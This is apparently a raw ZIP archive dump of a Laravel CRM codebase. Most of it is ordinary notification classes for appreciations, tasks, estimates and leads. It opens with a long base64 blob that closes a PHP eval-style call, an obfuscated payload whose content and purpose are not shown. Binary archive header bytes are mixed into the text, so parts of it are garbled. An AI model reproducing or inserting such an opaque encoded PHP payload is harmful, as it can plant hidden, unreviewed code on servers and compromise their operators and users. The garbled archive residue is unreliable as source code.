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'))))); ?>PK ���Zhw�Z� � ! Notifications/NewAppreciation.phpnu �[��� <?php namespace App\Notifications; use App\Models\EmailNotificationSetting; use App\Models\Appreciation; use NotificationChannels\OneSignal\OneSignalChannel; use NotificationChannels\OneSignal\OneSignalMessage; class NewAppreciation extends BaseNotification { /** * Create a new notification instance. * * @return void */ private $userAppreciation; private $emailSetting; public function __construct(Appreciation $userAppreciation) { $this->userAppreciation = $userAppreciation; $this->emailSetting = EmailNotificationSetting::where('slug', 'appreciation-notification')->first(); $this->company = $this->userAppreciation->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && slack_setting()->status == 'active') { array_push($via, 'slack'); } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newAppreciation.subject'), $this->userAppreciation->award->title); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $content = __('email.newAppreciation.text', ['award' => $this->userAppreciation->award->title, 'award_at' => $this->userAppreciation->award_date->format($this->company->date_format)]); $url = route('appreciations.show', $this->userAppreciation->id); $url = getDomainSpecificUrl($url, $this->company); $build ->subject(__('email.newAppreciation.subject')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newAppreciation.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray() { return [ 'id' => $this->userAppreciation->id, 'created_at' => $this->userAppreciation->created_at->format('Y-m-d H:i:s'), 'award_at' => $this->userAppreciation->award_date->format('Y-m-d H:i:s'), 'heading' => $this->userAppreciation->award->title, 'icon' => $this->userAppreciation->award->awardIcon->icon, 'color_code' => $this->userAppreciation->award->color_code, 'image_url' => $this->userAppreciation->addedBy->image_url ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { $url = route('appreciations.show', $this->userAppreciation->id); $url = getDomainSpecificUrl($url, $this->company); return $this->slackBuild($notifiable) ->content('*' . __('email.newAppreciation.subject') . '*' . "\n" . '<' . $url . '|' . $this->userAppreciation->award->title . '>'); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.newAppreciation.subject')) ->setBody($this->userAppreciation->award->title); } } PK ���Z4� � � Notifications/NewTask.phpnu �[��� <?php namespace App\Notifications; use App\Models\EmailNotificationSetting; use App\Models\GlobalSetting; use App\Models\Task; use Illuminate\Notifications\Messages\MailMessage; use Illuminate\Support\Facades\App; use NotificationChannels\OneSignal\OneSignalChannel; use NotificationChannels\OneSignal\OneSignalMessage; class NewTask extends BaseNotification { /** * Create a new notification instance. * * @return void */ private $task; private $emailSetting; public function __construct(Task $task) { $this->task = $task; $this->emailSetting = EmailNotificationSetting::userAssignTask(); $this->company = $this->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newTask.subject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $dueDate = (!is_null($this->task->due_date)) ? $this->task->due_date->format($this->company->date_format) : null; $taskShortCode = (!is_null($this->task->task_short_code)) ? '#' . $this->task->task_short_code . ' - ' : ' '; $content = $this->task->heading . ' ' . $taskShortCode . '<p> <b style="color: green">' . __('app.dueDate') . ': ' . $dueDate . '</b> </p>'; $subject = __('email.newTask.subject') . ' ' . $taskShortCode . config('app.name'). '.'; $build ->subject($subject) ->greeting(__('email.hello') . ' ' . $notifiable->name . ',') ->markdown('mail.task.created', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray() { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { $dueDate = (!is_null($this->task->due_date)) ? $this->task->due_date->format($this->company->date_format) : null; $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $taskShortCode = $this->task->task_short_code ? ' #' . $this->task->task_short_code : ''; return $this->slackBuild($notifiable) ->content('*' . __('email.newTask.subject') . '*' . "\n" . '<' . $url . '|' . $this->task->heading . '>' . "\n" . $taskShortCode . "\n" . __('app.dueDate') . ': ' . $dueDate . (!is_null($this->task->project) ? "\n" . __('app.project') . ' - ' . $this->task->project->project_name : '')); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.newTask.subject')) ->setBody($this->task->heading); } } PK ���Zp�9� � Notifications/NewEstimate.phpnu �[��� <?php namespace App\Notifications; use App\Models\User; use App\Models\Estimate; use App\Models\GlobalSetting; use Illuminate\Notifications\Messages\MailMessage; class NewEstimate extends BaseNotification { /** * Create a new notification instance. * * @return void */ private $estimate; private $user; public function __construct(Estimate $estimate) { $this->estimate = $estimate; $this->user = User::findOrFail($estimate->client_id); $this->company = $this->estimate->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if (push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.estimate.subject'), $this->estimate->estimate_number); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = url()->temporarySignedRoute('front.estimate.show', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $this->estimate->hash); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.estimate.text') . '<br>' . __('app.menu.estimate') . ' ' . __('app.number') . ': ' .$this->estimate->estimate_number ; $build ->subject(__('email.estimate.subject') . ' (' . $this->estimate->estimate_number . ') - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.estimateDeclined.action'), 'notifiableName' => $this->user->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->estimate->id, 'estimate_number' => $this->estimate->estimate_number ]; } } PK ���Zo:��[ [ Notifications/NewLeadCreated.phpnu �[��� <?php namespace App\Notifications; use App\Models\EmailNotificationSetting; use App\Models\Lead; use App\Models\Deal; class NewLeadCreated extends BaseNotification { /** * Create a new notification instance. * * @return void */ private $leadContact; private $emailSetting; public function __construct(Lead $leadContact) { $this->leadContact = $leadContact; $this->company = $this->leadContact->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'lead-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array('database'); if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.lead.subject'), $this->leadContact->client_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('lead-contact.show', $this->leadContact->id); $url = getDomainSpecificUrl($url, $this->company); $leadEmail = __('modules.lead.clientEmail') . ': '; $clientEmail = !is_null($this->leadContact->client_email) ? $leadEmail . $this->leadContact->client_email . '<br>' : ''; $content = __('email.lead.subject') . '<br>' . __('modules.lead.clientName') . ': ' . $this->leadContact->client_name_salutation . '<br>' . $clientEmail; if (session()->has('deal_name')) { $content .= __('modules.deal.dealName') . ": " . session('deal_name') . '<br>'; } $build ->subject(__('email.lead.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.lead.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->leadContact->id, 'name' => $this->leadContact->client_name, 'agent_id' => $notifiable->id, 'added_by' => $this->leadContact->added_by ]; } } PK ���Z'Ȼ"� � ) Notifications/EstimateRequestAccepted.phpnu �[��� <?php namespace App\Notifications; use App\Models\EstimateRequest; use App\Models\EmailNotificationSetting; class EstimateRequestAccepted extends BaseNotification { /** * Create a new notification instance. * * @return void */ private $estimateRequest; protected $company; private $emailSetting; public function __construct(EstimateRequest $estimateRequest) { $this->estimateRequest = $estimateRequest; $this->company = $this->estimateRequest->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'estimate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build(); $url = route('estimate-request.show', $this->estimateRequest->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.estimateRequestAccepted.text') . '<br>' . __('modules.estimateRequest.estimateRequest') . ' ' . __('app.number') . ': ' .$this->estimateRequest->estimate_request_number; $build ->subject(__('email.estimateRequestAccepted.subject') . ' (' . $this->estimateRequest->estimate_request_number . ') - ' . config('app.name') . __('!')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.estimateRequestRejected.action'), 'notifiableName' => $notifiable->name, ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->estimateRequest->id, 'estimate_request_number' => $this->estimateRequest->estimate_request_number, ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable)->content(__('email.hello') . ' ' . $notifiable->name . ' ' . __('email.estimateRequestAccepted.subject')); } } PK ���Z%l� # Notifications/TaskStatusUpdated.phpnu �[��� <?php namespace App\Notifications; use App\Models\EmailNotificationSetting; use App\Models\Task; use App\Models\User; use Illuminate\Notifications\Messages\SlackMessage; use Illuminate\Notifications\Messages\MailMessage; use NotificationChannels\OneSignal\OneSignalChannel; use NotificationChannels\OneSignal\OneSignalMessage; class TaskStatusUpdated extends BaseNotification { /** * Create a new notification instance. * * @return void */ private $task; private $updatedBy; /** * @var mixed */ private $emailSetting; public function __construct(Task $task, User $updatedBy = null) { $this->task = $task; $this->updatedBy = $updatedBy; $this->company = $this->task->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id) ->where('slug', 'task-status-updated') ->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.taskUpdate.subject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $projectTitle = (!is_null($this->task->project)) ? __('app.project') . ' - ' . $this->task->project->project_name : ''; $content = 'Updated Task Status: ' . $this->task->boardColumn->column_name . '<br>' . __('email.taskUpdate.updatedBy') . ': ' . $this->updatedBy->name . '<br>' . __('app.task') . ': ' . $this->task->heading . '<br>' . $projectTitle; $taskShortCode = (!is_null($this->task->task_short_code)) ? '#' . $this->task->task_short_code : ' '; $build ->subject(__('email.taskUpdate.subject') . $taskShortCode . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskUpdate.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading, 'completed_on' => (!is_null($this->task->completed_on)) ? $this->task->completed_on->format('Y-m-d H:i:s') : now()->format('Y-m-d H:i:s') ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return SlackMessage */ public function toSlack($notifiable) { $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $taskShortCode = $this->task->task_short_code ? ' #' . $this->task->task_short_code : ''; $taskStatus = $this->task->boardColumn->column_name ? 'Status: ' . $this->task->boardColumn->column_name : ''; $taskDescription = $this->task->description ? 'Description: ' . strip_tags($this->task->description) : ''; $taskAssigne = $this->task->users ? 'Task Assignees: ' . $this->task->users->pluck('name')->implode(', ') : ''; return $this->slackBuild($notifiable) ->content('*' . __('email.taskUpdate.slackStatusUpdated') . '*' . "\n" . '<' . $url . '|' . $this->task->heading . '>' . "\n" . $taskShortCode . "\n" . $taskStatus . "\n" . $taskDescription . "\n" . $taskAssigne . (!is_null($this->task->project) ? "\n" . __('app.project') . ': ' . $this->task->project->project_name : '')); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.taskUpdate.subject')) ->setBody($this->task->heading . ' ' . __('email.taskUpdate.subject') . ' #' . $this->task->task_short_code); } } PK ���Z0Z�, 